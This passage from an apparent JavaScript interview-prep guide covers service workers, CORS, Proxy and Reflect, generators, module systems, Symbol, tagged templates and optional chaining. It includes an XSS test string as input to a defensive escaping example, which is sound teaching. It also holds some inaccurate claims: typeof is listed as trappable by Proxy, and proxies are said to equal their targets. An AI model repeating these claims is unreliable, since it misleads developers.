  4. Explain the update cliff: SW waits until all old tabs close; skipWaiting bypasses.
  5. Close with push notifications, background sync, and PWA installability.
Big Word Alert — stale-while-revalidate (SWR): a caching pattern that serves the cached response immediately, then fetches a fresh copy in the background to update the cache for next time. Fast first paint with eventual freshness.
Big Word Alert — skipWaiting / clients.claim: the two methods that force a new SW to activate immediately and take over open tabs. Powerful but dangerous — mid-session asset swaps can break an active app.
Real-World Example: Twitter’s PWA uses a service worker to cache the app shell, fonts, and JS bundles. First visits fetch normally; subsequent visits boot in under 200ms from cache, then the SWR strategy refreshes in the background. On 3G, the team measured a 40%+ reduction in time-to-interactive and enabled the app to keep working when the user loses signal on the subway.Follow-up Q&A Chain:
  • Q: What happens if the install event fails?
  • A: The SW is discarded — the old one keeps running. This is why you should batch cache.addAll for atomicity; a single missing asset fails the whole install and users stay on the old version.
  • Q: How do you ship a breaking SW change safely?
  • A: Version the cache names (app-v2, app-v3), show a “new version” banner, and call skipWaiting only after user consent. This avoids mid-session disruption while still getting updates out.
  • Q: Can a Service Worker modify request bodies?
  • A: Yes — inside the fetch handler you can construct a new Request with a different body and call fetch(newRequest). Commonly used to add auth headers or route rewrites.
Further Reading
Answer: CORS is a browser security mechanism that restricts web pages from making requests to a different origin (protocol + domain + port) than the one that served the page. It is NOT a server-side security feature — it is enforced by the browser to protect users.Why it exists: Without CORS, a malicious site at evil.com could make authenticated requests to bank.com using the user’s cookies and steal data. The Same-Origin Policy prevents this. CORS is the controlled relaxation of that policy.How CORS actually works — the handshake:
  1. Browser sends request with Origin: https://mysite.com header
  2. Server responds with Access-Control-Allow-Origin: https://mysite.com (or *)
  3. If the header matches, the browser allows the response. If not, the browser BLOCKS the response (the request was still sent and processed by the server — CORS does not prevent the request, it prevents the response from reaching JS)
Simple vs Preflight requests:
  • Simple requests (no preflight): GET/HEAD/POST with standard headers (Content-Type limited to text/plain, multipart/form-data, application/x-www-form-urlencoded). Browser sends directly.
  • Preflighted requests: PUT/DELETE/PATCH, custom headers, Content-Type: application/json. Browser sends an OPTIONS request first to check permissions, THEN sends the actual request if allowed.
// Preflight request (automatic, sent by browser)
OPTIONS /api/data HTTP/1.1
Origin: https://mysite.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

// Preflight response (from server)
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://mysite.com
Access-Control-Allow-Methods: GET, PUT, POST, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400  // Cache preflight for 24 hours
Critical CORS headers:
  • Access-Control-Allow-Origin — Which origins can access (use specific origins in production, NOT * with credentials)
  • Access-Control-Allow-Credentials: true — Allow cookies/auth headers. Cannot be used with Allow-Origin: * (must specify exact origin)
  • Access-Control-Allow-Headers — Which custom headers are allowed
  • Access-Control-Expose-Headers — Which response headers JS can read (by default only “simple” headers are exposed)
  • Access-Control-Max-Age — How long to cache the preflight result (saves OPTIONS requests)
The credential gotcha: If you need to send cookies cross-origin, you must: (1) Set credentials: 'include' in fetch, (2) Server responds with Access-Control-Allow-Credentials: true, (3) Allow-Origin MUST be a specific origin (not *). Missing any one of these three causes the request to fail.What interviewers are really testing: Do you understand that CORS is a browser-only protection? (Curl/Postman/servers do not enforce CORS.) Can you debug a CORS error by looking at the network tab? Do you know the preflight conditions?Red flag answer: “Access-Control-Allow-Origin: * fixes all CORS issues.” This does not work with credentials and is a security risk in production. Also: thinking CORS protects the server — it protects the user’s browser.Follow-up questions:
  • “Your API call from localhost:3000 to localhost:8080 fails with a CORS error. They are both localhost. Why?” — Different ports = different origins. Origin = protocol + domain + port. http://localhost:3000 and http://localhost:8080 are different origins. Fix: configure the API server to allow http://localhost:3000 in Access-Control-Allow-Origin, or use a dev proxy (Vite, webpack-dev-server) to make requests appear same-origin.
  • “How do you avoid preflight requests for performance?” — Use “simple” request criteria: GET/POST with standard Content-Type. Instead of application/json, send text/plain and parse on the server (hacky but eliminates preflight). Better: set Access-Control-Max-Age to 86400 (24h) so the browser caches the preflight result. Or use a same-origin proxy/API gateway.
  • “A CORS error says ‘No Access-Control-Allow-Origin header present’ but you added it to the server. What is wrong?” — Common causes: (1) The server is crashing before sending headers (500 error, but browser reports CORS). (2) A reverse proxy (Nginx, CloudFront) is stripping the header. (3) The server only handles GET but the browser is sending an OPTIONS preflight that returns 405. (4) The error handler path does not set CORS headers. Always check the Network tab for the actual HTTP status before debugging CORS headers.
Structured Answer Template (CORS)
  1. State that CORS is a browser mechanism, not server security.
  2. Describe the origin tuple (protocol + host + port) and same-origin policy.
  3. Contrast simple vs preflighted requests and what triggers OPTIONS.
  4. Call out the credentials-plus-wildcard gotcha.
  5. Close with debug workflow: check status in Network tab first, then headers.
Big Word Alert — preflight request: the automatic OPTIONS request the browser sends before a “non-simple” cross-origin request to verify the server will accept it. Cached via Access-Control-Max-Age.
Big Word Alert — same-origin policy (SOP): the underlying browser rule that scripts can only read responses from the same origin. CORS is the controlled relaxation of SOP.
Real-World Example: Airbnb’s booking flow once hit a mysterious CORS failure in production. The API itself returned correct headers, but the CDN (CloudFront) was stripping Access-Control-Allow-Credentials on cached OPTIONS responses. The fix was to vary the cache key on Origin and whitelist the required response headers in the CDN config — a classic “CORS headers are correct but getting stripped in transit” bug.Follow-up Q&A Chain:
  • Q: Why does the browser send the request anyway even if the response is blocked?
  • A: CORS only gates the response, not the request. The server sees the request regardless, which is why CORS is not a defense against CSRF — you still need CSRF tokens or SameSite cookies.
  • Q: How do you debug “CORS error” when the real issue is a server 500?
  • A: Check the Network tab for the actual HTTP status. A 500 that does not carry CORS headers shows up as a CORS error in the console because the preflight or response failed to pass the CORS check. Fix the 500, the CORS error disappears.
  • Q: Can CORS leak data via timing?
  • A: In theory, yes — request timing is observable even if the body is blocked. This is why modern browsers ship with Cross-Origin-Resource-Policy and Cross-Origin-Embedder-Policy headers as additional defense-in-depth.
Further Reading

4. ES6+ Modern Features

Answer: Proxy lets you intercept and redefine fundamental operations on objects (get, set, delete, function calls, construction). It is the most powerful metaprogramming tool in JavaScript and the foundation of Vue 3’s reactivity system, MobX, and many validation libraries.How it works: You create a Proxy wrapping a target object and provide a handler with “traps” — functions that intercept operations. Reflect is the companion API that lets you perform the default behavior inside a trap.
const user = { name: 'Alice', age: 30 };

const handler = {
    get(target, prop, receiver) {
        console.log(`Reading ${prop}`);
        return Reflect.get(target, prop, receiver);
    },
    set(target, prop, value, receiver) {
        if (prop === 'age' && (typeof value !== 'number' || value < 0)) {
            throw new TypeError('Age must be a positive number');
        }
        console.log(`Setting ${prop} = ${value}`);
        return Reflect.set(target, prop, value, receiver);
    },
    deleteProperty(target, prop) {
        if (prop === 'name') throw new Error('Cannot delete name');
        return Reflect.deleteProperty(target, prop);
    }
};

const proxy = new Proxy(user, handler);
proxy.name;        // logs "Reading name", returns 'Alice'
proxy.age = 25;    // logs "Setting age = 25"
proxy.age = -1;    // throws TypeError
Why Reflect exists: Every trap has a corresponding Reflect method. Instead of target[prop] (which can trigger getters incorrectly), Reflect.get(target, prop, receiver) correctly handles the receiver (important for prototype chains and class inheritance). Always use Reflect inside traps.Real-world uses:
  • Vue 3 Reactivityreactive() wraps objects in Proxies. The get trap tracks which components depend on which properties. The set trap triggers re-renders. This replaced Vue 2’s Object.defineProperty approach (which could not detect new property additions or array index changes).
  • Validation layers — Enforce schema constraints on data objects without separate validation calls.
  • API mocking — Intercept property access and return mock data during testing.
  • Auto-logging/observability — Log every property access and mutation for debugging.
What interviewers are really testing: Do you understand the trap system and why Reflect is necessary? Can you give a real use case beyond the basic example? Senior candidates should explain the Vue 3 reactivity connection and know the performance implications.Red flag answer: “Proxy is like Object.defineProperty.” Proxy is more powerful — it can intercept in operator, delete, function calls, new, and works on the whole object (not individual properties). defineProperty requires you to know property names in advance.Follow-up questions:
  • “What are the performance implications of Proxy?” — Proxy operations are 2-5x slower than direct property access because every operation goes through the trap handler. This is fine for reactive state (accessed infrequently per frame) but bad for hot loops processing millions of items. Vue 3’s shallowReactive() and markRaw() exist specifically to opt out of proxy overhead for large data structures.
  • “How does Vue 3’s Proxy-based reactivity differ from Vue 2’s Object.defineProperty?” — Vue 2 walked every property at initialization and defined getters/setters. It could not detect: new property additions (Vue.set() workaround), array index changes, or length changes. Vue 3’s Proxy intercepts ALL operations dynamically — no initialization walk, no workarounds. The downside: Proxy is not supported in IE11.
  • “Can you create a revocable Proxy? When would you use it?”Proxy.revocable(target, handler) returns { proxy, revoke }. After calling revoke(), any operation on the proxy throws TypeError. Use case: granting temporary access to an object (e.g., a third-party plugin gets a revocable proxy to your API that you revoke when the plugin unloads, preventing lingering references).
What weak candidates say:
  • “Proxy is like Object.defineProperty.” Proxy is strictly more powerful — it intercepts in, delete, new, typeof, and works on the entire object without knowing property names in advance.
  • Cannot explain why Reflect is needed inside traps (incorrect receiver handling on prototype chains).
  • Have no real use case beyond the basic logging/validation example.
What strong candidates say:
  • Immediately connect Proxy to Vue 3’s reactivity system and explain why it replaced Object.defineProperty (handles new properties, array mutations, and delete without workarounds).
  • Know the performance implications: 2-5x slower than direct access, which is why Vue 3 provides shallowReactive() and markRaw().
  • Explain Proxy invariants: the engine enforces consistency rules (e.g., get trap cannot lie about non-configurable, non-writable properties). Violating invariants throws TypeError.
  • Mention Proxy.revocable() for security patterns (temporary access grants, sandboxing third-party code).
  • Can describe the apply trap for function proxying (decorator pattern, automatic timing/logging).
Follow-up chain:
  1. “How would you use Proxy to implement a type-checked object that throws on invalid assignments?” — Create a schema definition (e.g., { name: 'string', age: 'number' }), then use the set trap to validate the type of the value against the schema before allowing assignment. Reflect.set performs the actual write if validation passes. This pattern is the foundation of runtime validation libraries like zod (though zod does not use Proxy internally for performance reasons).
  2. “What happens if you freeze a Proxy target? Do the traps still fire?” — Yes, traps still fire on the Proxy, but the invariant checks become very strict. The set trap can fire but must return false (or V8 will throw TypeError because the target property is non-writable). The get trap must return the actual value for non-configurable properties. Freezing the target effectively makes the Proxy read-only, but you still get the notification (useful for tracking reads on config objects).
  3. “How does Comlink use Proxy to make Web Worker communication feel like regular function calls?” — Comlink (by the Chrome team) wraps a Worker in a Proxy. When you access a property or call a method on the proxy, the get and apply traps serialize the call into a postMessage, send it to the worker, and return a promise for the result. The worker side uses Comlink.expose(obj) to make its methods callable. The result is that await workerProxy.processData(input) looks like a normal async function call, hiding all the postMessage plumbing.
Structured Answer Template (Proxy & Reflect)
  1. State Proxy intercepts fundamental operations; Reflect performs the defaults.
  2. Name 4-5 traps: get, set, has, deleteProperty, apply.
  3. Give one canonical use case: Vue 3 reactivity.
  4. Call out invariants and the 2-5x perf cost.
  5. Close with Proxy.revocable and Comlink as creative applications.
Big Word Alert — trap: the handler function that intercepts a specific operation on a Proxy. The 13 traps mirror the internal methods of the JavaScript object model ([[Get]], [[Set]], [[HasProperty]], etc.).
Big Word Alert — invariant: a consistency rule the engine enforces on Proxy traps. For example, a get trap cannot report a different value for a non-configurable, non-writable property than what the target actually has. Violating invariants throws TypeError.
Real-World Example: MobX built its entire observable model on Proxy in v6. Before that, MobX 4/5 used Object.defineProperty, which required pre-declaring every property. Proxy let MobX 6 track dynamically added properties — state.newField = 1 now triggers reactivity without a makeObservable migration. This ergonomic win eliminated a whole class of onboarding questions.Follow-up Q&A Chain:
  • Q: Why can’t you proxy a primitive?
  • A: Proxies only wrap objects and functions. Primitives are not references, so there is no internal method table to intercept. You can wrap them in a Boxed object, but at that point direct getters/setters are simpler.
  • Q: What operation is not interceptable?
  • A: Identity comparison (===) and typeof are not traps. Proxies are transparent — they pose as their target for identity checks. This is important for libraries like MobX that need proxyObj === originalObj to fail but proxyObj to behave like originalObj.
  • Q: When would you avoid Proxy in hot code paths?
  • A: Tight loops over millions of items, or anything in a render hot path, where the 2-5x overhead dominates. Vue 3’s markRaw is the escape hatch for exactly this reason.
Further Reading
  • MDN: Proxy
  • MDN: Reflect
  • TC39: ECMAScript Proxy Exotic Objects spec (tc39.es/ecma262)
Answer: Generators are functions that can pause mid-execution and resume later, maintaining their internal state between pauses. They are the foundation of async/await (the engine uses them internally) and enable lazy evaluation patterns.How they work: A generator function (declared with function*) does not execute immediately when called. Instead, it returns a Generator object with a next() method. Each call to next() runs until the next yield, returning { value, done }.
function* fibonacci() {
    let a = 0, b = 1;
    while (true) {
        yield a;      // Pause here, return a
        [a, b] = [b, a + b];
    }
}

const fib = fibonacci();
fib.next(); // { value: 0, done: false }
fib.next(); // { value: 1, done: false }
fib.next(); // { value: 1, done: false }
fib.next(); // { value: 2, done: false }
// Infinite sequence computed lazily -- no memory for all values at once
Two-way communication — the part most people miss:
function* calculator() {
    let result = 0;
    while (true) {
        const input = yield result;  // yield sends result OUT, receives input IN
        result += input;
    }
}

const calc = calculator();
calc.next();      // { value: 0, done: false } (first next() starts the generator)
calc.next(5);     // { value: 5, done: false } (input = 5, result = 0 + 5)
calc.next(3);     // { value: 8, done: false } (input = 3, result = 5 + 3)
Generator delegation with yield*:
function* flatten(arr) {
    for (const item of arr) {
        if (Array.isArray(item)) {
            yield* flatten(item);  // Delegate to recursive generator
        } else {
            yield item;
        }
    }
}
[...flatten([1, [2, [3, [4]]]])]; // [1, 2, 3, 4]
Real-world uses:
  • Redux-Saga — Uses generators for managing side effects. yield call(fetch, url) pauses the saga until the fetch completes. The saga runner handles the promise.
  • Lazy evaluation — Process huge datasets without loading everything into memory. for (const row of parseCSV(hugeFile)) reads one row at a time.
  • Cancellable async flows — Unlike promises, you can stop a generator mid-execution by simply not calling next().
  • Async iteratorsasync function* combines generators with async/await for streaming data.
What interviewers are really testing: Do you understand the pause/resume mechanism and two-way data flow? Can you explain the relationship between generators and async/await? Senior candidates should mention lazy evaluation benefits and Redux-Saga.Red flag answer: “Generators are obsolete because we have async/await.” Generators and async/await solve different problems. Generators are for lazy sequences, custom iteration protocols, and complex control flow (sagas). Async/await is specifically for promises.Follow-up questions:
  • “How does generator.throw(error) work and when is it useful?” — Calling throw() on a generator injects an error at the point where it is currently paused (at the yield). If the generator has a try/catch around the yield, it can handle it. Redux-Saga uses this: if a side effect fails, the runner throw()s the error into the saga, which can handle it with try/catch. This is how sagas achieve sync-looking error handling for async operations.
  • “What is the memory advantage of generators over arrays for large datasets?” — A generator computes values on demand (lazy). Processing 10 million records with a generator: memory usage = O(1) (one record at a time). With an array: O(n) (all records in memory). For ETL pipelines, log processing, or CSV parsing, this is the difference between your Node.js process using 50MB vs 5GB.
  • “How do async generators work with for await...of?” — An async function* can yield promises. for await (const item of asyncGen()) awaits each yielded value. This is ideal for streaming APIs: for await (const chunk of readStream()) processes data as it arrives without buffering the entire response. Node.js readable streams implement the async iterable protocol.
Structured Answer Template (Generators)
  1. Define as pauseable functions — yield suspends and returns to the caller.
  2. Explain the Generator object and .next(value) two-way data flow.
  3. Show yield* delegation for composition.
  4. Map to real uses: lazy sequences, Redux-Saga, streaming parsers.
  5. Close with async generators + for await...of for streams.
Big Word Alert — lazy evaluation: computing a value only when requested, not upfront. Generators embody this — an infinite Fibonacci generator uses O(1) memory because it never materializes the whole sequence.
Big Word Alert — generator runner: an external function that drives a generator by calling .next() with resolved promise values. Before async/await existed, libraries like co and Redux-Saga were generator runners.
Real-World Example: Netflix’s server-side rendering pipeline uses async generators to stream rendered HTML chunks to the browser as React components finish. Users see the page header and hero image 300ms before the full DOM is ready, which dramatically improves perceived load. Without for await...of over an async generator, the team would have had to hand-roll a streaming state machine.Follow-up Q&A Chain:
  • Q: Is async function* the same as returning an async iterable?
  • A: Functionally equivalent, but syntactically simpler. The generator function automatically implements the [Symbol.asyncIterator] protocol and handles the next/throw/return contract.
  • Q: Can a generator be reused after it finishes?
  • A: No — once done: true, the generator is exhausted. Call the generator function again to get a fresh iterator.
  • Q: Why does Redux-Saga prefer generators over async/await?
  • A: Generators give Saga control over each yield point: the runner can inject mocked results in tests, cancel on route change, and serialize the execution log for replay. Async/await hands control to the engine, so the runner loses those hooks.
Further Reading
Answer: JavaScript has two module systems, and understanding their differences is essential for modern development, bundler configuration, and tree shaking.CommonJS (CJS) — Node.js’s original module system:
  • require() is synchronous — blocks until the file is loaded and executed
  • module.exports / exports for exporting
  • Dynamic — you can require() inside conditionals, loops, or computed paths
  • Evaluated at runtime — exports are live bindings to the module.exports object
  • Circular dependencies: partially resolved (you get whatever has been exported so far)
ES Modules (ESM) — The language standard:
  • import/export are static declarations — they must be at the top level
  • Parsed and linked before execution (the engine builds a dependency graph first)
  • Enables tree shaking (dead code elimination) because the bundler knows at build time which exports are used
  • Supports top-level await (module evaluation can be async)
  • Circular dependencies: handled via “live bindings” (imports are references that update when the export changes)
  • Always strict mode
// CommonJS
const fs = require('fs');            // Sync, dynamic
if (condition) {
    const extra = require('./extra'); // Valid -- dynamic require
}
module.exports = { myFunction };

// ESM
import fs from 'fs';                 // Static, parsed before execution
import('./extra.js').then(m => ...); // Dynamic import (async, returns promise)
export function myFunction() {}
export default class MyClass {}
The key differences that matter in practice:
FeatureCommonJSES Modules
LoadingSynchronousAsynchronous
AnalysisRuntime (dynamic)Static (build-time)
Tree ShakingDifficult/impossibleFully supported
Top-level awaitNot supportedSupported
this at top levelmodule.exportsundefined
File extensions.js (default in Node).mjs or "type": "module" in package.json
Browser supportNeeds bundlerNative (<script type="module">)
What interviewers are really testing: Do you understand why ESM enables tree shaking (static analysis)? Can you explain the interop challenges between CJS and ESM in Node.js?Red flag answer: “import and require are the same thing.” They have fundamentally different semantics — import is static and hoisted, require is dynamic and synchronous. Mixing them incorrectly causes bugs in Node.js.Follow-up questions:
  • “Why can’t bundlers tree-shake CommonJS?” — Tree shaking requires knowing at build time which exports are used. CJS exports are a plain object assigned at runtime — the bundler cannot statically determine which properties will be accessed. require() can be called conditionally or with computed paths. ESM’s import { x } from 'y' is a static declaration the bundler can analyze without executing code.
  • “How do you handle the CJS/ESM interop in Node.js?” — ESM can import CJS modules (Node wraps the CJS export as the default export). CJS cannot require() ESM modules synchronously (must use import() async). This creates friction in library authoring. The common solution: publish dual packages with "exports" field in package.json specifying CJS and ESM entry points. Tools like tsup or unbuild automate this.
  • “What is import.meta and what can you do with it?”import.meta provides metadata about the current module. import.meta.url gives the module’s file URL (equivalent to CJS __filename). In Vite/bundlers, import.meta.env provides environment variables. import.meta.hot is used for Hot Module Replacement. It is the ESM replacement for CJS-specific globals like __dirname and __filename.
What weak candidates say:
  • import and require are the same thing.” They have fundamentally different semantics.
  • Cannot explain why ESM enables tree shaking but CJS does not.
  • Have never dealt with CJS/ESM interop issues in Node.js.
  • Do not know that import() (dynamic) is different from import (static).
What strong candidates say:
  • Explain that ESM’s static declarations allow build-time dependency graph analysis, enabling tree shaking and dead code elimination, which is impossible with CJS’s runtime require().
  • Know the CJS/ESM interop pain: ESM can import CJS (wrapped as default export), but CJS cannot synchronously require() ESM (must use import() async).
  • Understand the dual package problem and how the "exports" field with "import" and "require" conditions solves it.
  • Can explain live bindings: ESM exports are references that update when the exporting module changes them, while CJS exports are a snapshot of the module.exports object at require() time.
  • Know that import.meta.resolve() enables programmatic module resolution without loading the module.
Follow-up chain:
  1. “Your library needs to support both CJS and ESM consumers. How do you set up the package.json?” — Use the "exports" field with conditional exports: "exports": { ".": { "import": "./dist/esm/index.js", "require": "./dist/cjs/index.cjs" }, "./subpath": { "import": "./dist/esm/subpath.js", "require": "./dist/cjs/subpath.cjs" } }. Add "type": "module" to make .js files ESM by default, and use .cjs extension for CJS files. Build with tsup or unbuild which handle dual-format output automatically.
  2. “What is the difference between import() (dynamic import) and top-level await? Can they be combined?” — import() returns a promise for the module namespace object. Top-level await lets you await at the module’s top level, pausing the module’s evaluation. Combined: const { default: config } = await import('./config.json', { with: { type: 'json' } }) — the module that does this will block any module that imports it until the dynamic import resolves. Use sparingly for initialization that must complete before the module is usable.
  3. “How does import map (<script type='importmap'>) change the bundling story?” — Import maps let you map bare specifiers (like import React from 'react') to URLs directly in the browser, without a bundler. { "imports": { "react": "https://esm.sh/react@18" } }. This enables unbundled development (each module is a separate HTTP/2 request). Viable for development and small apps, but production apps still benefit from bundling for code splitting, tree shaking, and reducing request count.
Structured Answer Template (ESM vs CJS)
  1. Frame as static (ESM) vs dynamic (CJS) resolution.
  2. Hit the four real-world consequences: tree shaking, top-level await, interop, live bindings.
  3. Show "exports" field for dual publishing.
  4. Close with import.meta and dynamic import() for lazy loading.
Big Word Alert — live binding: an ESM import is a reference to the exporting module’s variable, so a subsequent export mutation is visible to all importers. CJS imports are a frozen snapshot at require time.
Big Word Alert — tree shaking: build-time dead-code elimination that drops unused exports from the bundle. Requires static imports — CJS’s dynamic require() is essentially opaque to bundlers.
Real-World Example: Stripe.js migrated its public SDK from CJS to ESM-first publishing in 2022. The payoff was not for Stripe — it was for their customers. React apps using Next.js could tree-shake unused Stripe modules and cut their bundle size by 30-40KB, which measurably improved checkout page performance for e-commerce sites on slow connections.Follow-up Q&A Chain:
  • Q: Can I use import in a .js file in Node.js?
  • A: Only if package.json has "type": "module", or the file uses the .mjs extension. Otherwise Node treats .js as CJS and import syntax throws a SyntaxError.
  • Q: Why does Node.js not let me synchronously require() an ESM module?
  • A: ESM modules can use top-level await, so their evaluation is inherently async. require() is synchronous — there is no safe way to bridge. Use dynamic await import('./esm-module.js') instead.
  • Q: What is "type": "module" vs .mjs extension?
  • A: Both tell Node to parse the file as ESM. "type": "module" is package-wide (all .js files become ESM). .mjs is per-file. Most libraries use "type": "module" and .cjs for the few CJS holdouts.
Further Reading
Answer: Symbol is a primitive type (like string or number) that guarantees uniqueness. Every Symbol() call creates a new, unique value — even with the same description. This makes it ideal for property keys that should never collide with user-defined properties.
const s1 = Symbol('id');
const s2 = Symbol('id');
console.log(s1 === s2); // false -- always unique

// Use as object key -- cannot collide with string keys
const ID = Symbol('id');
const user = { [ID]: 123, name: 'Alice' };
user[ID]; // 123
user.id;  // undefined -- different key entirely!

// Symbols are NOT included in for...in, Object.keys(), JSON.stringify()
Object.keys(user);            // ['name']
JSON.stringify(user);          // '{"name":"Alice"}'
Object.getOwnPropertySymbols(user); // [Symbol(id)]
Well-known Symbols — the metaprogramming hooks:
  • Symbol.iterator — Makes objects iterable (for...of)
  • Symbol.asyncIterator — Makes objects async-iterable (for await...of)
  • Symbol.hasInstance — Customizes instanceof behavior
  • Symbol.toPrimitive — Customizes type coercion (+obj, ${obj})
  • Symbol.toStringTag — Customizes Object.prototype.toString.call() output
  • Symbol.species — Controls which constructor is used for derived objects (e.g., Array.prototype.map creates a new array using this.constructor[Symbol.species])
// Custom iterator using Symbol.iterator
class Range {
    constructor(start, end) { this.start = start; this.end = end; }
    [Symbol.iterator]() {
        let current = this.start;
        const end = this.end;
        return {
            next() {
                return current <= end
                    ? { value: current++, done: false }
                    : { done: true };
            }
        };
    }
}
[...new Range(1, 5)]; // [1, 2, 3, 4, 5]
Symbol.for() — the global registry:
// Symbol.for creates shared symbols across realms (iframes, workers)
const s1 = Symbol.for('app.id');
const s2 = Symbol.for('app.id');
console.log(s1 === s2); // true -- same symbol from global registry

// Regular Symbol() never shares
const s3 = Symbol('app.id');
console.log(s1 === s3); // false
What interviewers are really testing: Do you know about well-known symbols and how they enable metaprogramming? Can you explain why Symbol keys are useful for library/framework authors?Red flag answer: “Symbols are for making private properties.” They provide non-collision guarantees, not true privacy. Object.getOwnPropertySymbols() exposes them. Use #privateField for true privacy.Follow-up questions:
  • “Why are Symbols useful for library authors?” — A library can add metadata to user objects using Symbol keys without risking collision with the user’s own properties. React uses Symbol.for('react.element') to tag React elements, ensuring they cannot be confused with plain objects even if a user creates an object with $$typeof as a string key.
  • “How do Symbols interact with JSON serialization?” — Symbol-keyed properties are completely invisible to JSON.stringify(). This is useful for attaching metadata that should not be serialized (internal state, computed caches, framework markers). If you need to serialize symbol data, implement a custom toJSON() method.
  • “When would you use Symbol.for() vs regular Symbol()?” — Use Symbol.for() when you need the same symbol across different modules, iframes, or workers (e.g., a shared protocol between independently loaded scripts). Use regular Symbol() when you want guaranteed uniqueness within your code (most cases). Symbol.for() keys can collide if two libraries use the same string, so use namespaced strings: Symbol.for('mylib.internal.type').
Structured Answer Template (Symbol)
  1. State it is a unique primitive used as a non-colliding key.
  2. Distinguish Symbol() from Symbol.for() (per-realm vs global registry).
  3. Name the well-known symbols (Symbol.iterator, Symbol.asyncIterator, Symbol.toPrimitive).
  4. Give a real use case: library metadata tagging.
  5. Close with the privacy misconception — Symbols are non-colliding, not private.
Big Word Alert — well-known symbols: a set of predefined Symbols the language uses to hook into engine behavior. Implementing [Symbol.iterator] on an object makes it work with for...of.
Real-World Example: React tags every element with $$typeof: Symbol.for('react.element'). When ReactDOM receives an object to render, it checks this symbol to distinguish a real React element from a serialized/injected object — a defense against XSS attacks that pass crafted JSON into props.Follow-up Q&A Chain:
  • Q: Can I put a Symbol in JSON?
  • A: No — symbol-keyed properties and Symbol values are ignored by JSON.stringify. If you need to serialize, convert via Symbol.keyFor(sym) (only works for registry symbols).
  • Q: Are Symbols garbage collected?
  • A: Symbol() yes, once no references remain. Symbol.for(key) symbols are held by the global registry and live forever — a subtle memory trap if you dynamically generate registry keys.
  • Q: How do I iterate symbol keys?
  • A: Object.getOwnPropertySymbols(obj) returns them. Reflect.ownKeys(obj) returns both string and symbol keys in one call.
Further Reading
Answer: Tagged templates let you define a function that processes a template literal’s strings and interpolated values before producing a result. The tag function receives the static string parts as an array and the dynamic values as separate arguments.
function highlight(strings, ...values) {
    return strings.reduce((result, str, i) => {
        const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : '';
        return result + str + value;
    }, '');
}

const name = 'Alice';
const age = 30;
highlight`User ${name} is ${age} years old`;
// "User <mark>Alice</mark> is <mark>30</mark> years old"
Real-world uses in production libraries:
  • styled-componentsstyled.div`color: ${props => props.primary ? 'blue' : 'gray'};` — The tag function creates a React component with scoped CSS. Interpolations can be functions that receive props.
  • GraphQL gqlgql`query { user { name } }` — Parses the template into a GraphQL AST at build time. Enables syntax highlighting and static analysis in editors.
  • html (lit-html)html`<p>${userInput}</p>` — Safely renders HTML with automatic XSS escaping of interpolated values.
  • SQL template tagssql`SELECT * FROM users WHERE id = ${userId}` — Automatically parameterizes values to prevent SQL injection.
The XSS prevention pattern:
function safeHTML(strings, ...values) {
    const escape = (str) => String(str)
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;');

    return strings.reduce((result, str, i) => {
        return result + str + (values[i] !== undefined ? escape(values[i]) : '');
    }, '');
}

const userInput = '<script>alert("xss")</script>';
safeHTML`<div>${userInput}</div>`;
// "<div>&lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;</div>"
The raw property: The tag function’s first argument (strings) has a .raw property containing the strings without escape processing. String.raw is a built-in tag that returns the raw string: String.raw`\n` returns the two characters \n, not a newline.What interviewers are really testing: Do you understand the mechanism (static strings vs dynamic values separation) and why it matters for security (auto-escaping)? Can you name real libraries that use this pattern?Red flag answer: “Tagged templates are just a fancy way to concatenate strings.” The entire point is that the tag function receives static parts and dynamic parts SEPARATELY, enabling sanitization, compilation, and type-safe interpolation that simple concatenation cannot achieve.Follow-up questions:
  • “How does styled-components use tagged templates to generate scoped CSS?” — The tag function hashes the static CSS strings into a unique class name, evaluates any function interpolations with the component’s props, and injects the resulting CSS into a <style> tag in the document head. The component receives the unique class name. Static parts are cached; only dynamic interpolations are re-evaluated on render.
  • “Can tagged templates be used for compile-time optimization?” — Yes. Since the static string parts are known at build time, Babel/SWC plugins can pre-process tagged templates. GraphQL’s gql tag can be compiled to an AST at build time (no runtime parsing). styled-components has a Babel plugin that pre-generates class names. This moves work from runtime to build time.
  • “What is String.raw used for in practice?” — File paths on Windows: String.raw`C:\Users\name` (no need to double-escape backslashes). Regular expressions: new RegExp(String.raw`\d+\.\d+`) (cleaner than "\\d+\\.\\d+"). Any context where you want the literal characters without escape interpretation.
Structured Answer Template (Tagged Templates)
  1. Describe the separation: static strings array + dynamic values.
  2. Show the signature tag(strings, ...values).
  3. Walk one real example: styled-components, gql, or safe HTML.
  4. Call out the build-time optimization angle (Babel plugins precompile).
  5. Close with String.raw and the .raw property for escape-free strings.
Big Word Alert — cooked vs raw strings: cooked strings have escape sequences processed (\n -> newline); raw strings keep them literal. strings.raw[i] gives the raw form inside a tag.
Real-World Example: Apollo’s GraphQL client uses the gql tagged template at runtime, but its Babel plugin pre-parses those templates into AST objects at build time. Apps shipping lots of queries measured 30-50ms of faster boot by skipping the runtime parser — one of those “you didn’t know you were paying for it” wins.Follow-up Q&A Chain:
  • Q: How does styled-components generate stable class names across renders?
  • A: It hashes the static portions of the tagged template into a deterministic class name, then injects the computed CSS once. Dynamic interpolations update CSS variables or swap class names, so the hash stays stable.
  • Q: Can a tag function return non-string values?
  • A: Absolutely — gql returns an AST object, styled returns a React component. The return type is whatever the tag decides; only the input shape is fixed.
  • Q: Why is String.raw safer for regex patterns?
  • A: Regex literals need double backslashes in normal strings (\\d). String.raw lets you write the single-backslash form, matching how you would write the pattern in documentation or a regex tester.
Further Reading
Answer: These two operators (ES2020) solve the two most common sources of TypeError and incorrect default values in JavaScript. They look simple but their interaction with falsy values is a frequent interview topic.Optional Chaining (?.) — Safe property access:
const user = { profile: { address: { city: 'NYC' } } };

// Without: verbose guard clauses
const city = user && user.profile && user.profile.address && user.profile.address.city;

// With: short-circuits to undefined on any null/undefined in the chain
const city = user?.profile?.address?.city; // 'NYC'
const zip = user?.profile?.address?.zip;   // undefined (no error)
const nothing = null?.foo?.bar;            // undefined (no error)

// Works with methods and bracket notation too
user?.getProfile?.();        // Call method if it exists
user?.['dynamic-key'];       // Bracket notation
arr?.[0];                    // Array access
Nullish Coalescing (??) — Default only for null/undefined:
// The problem with || for defaults
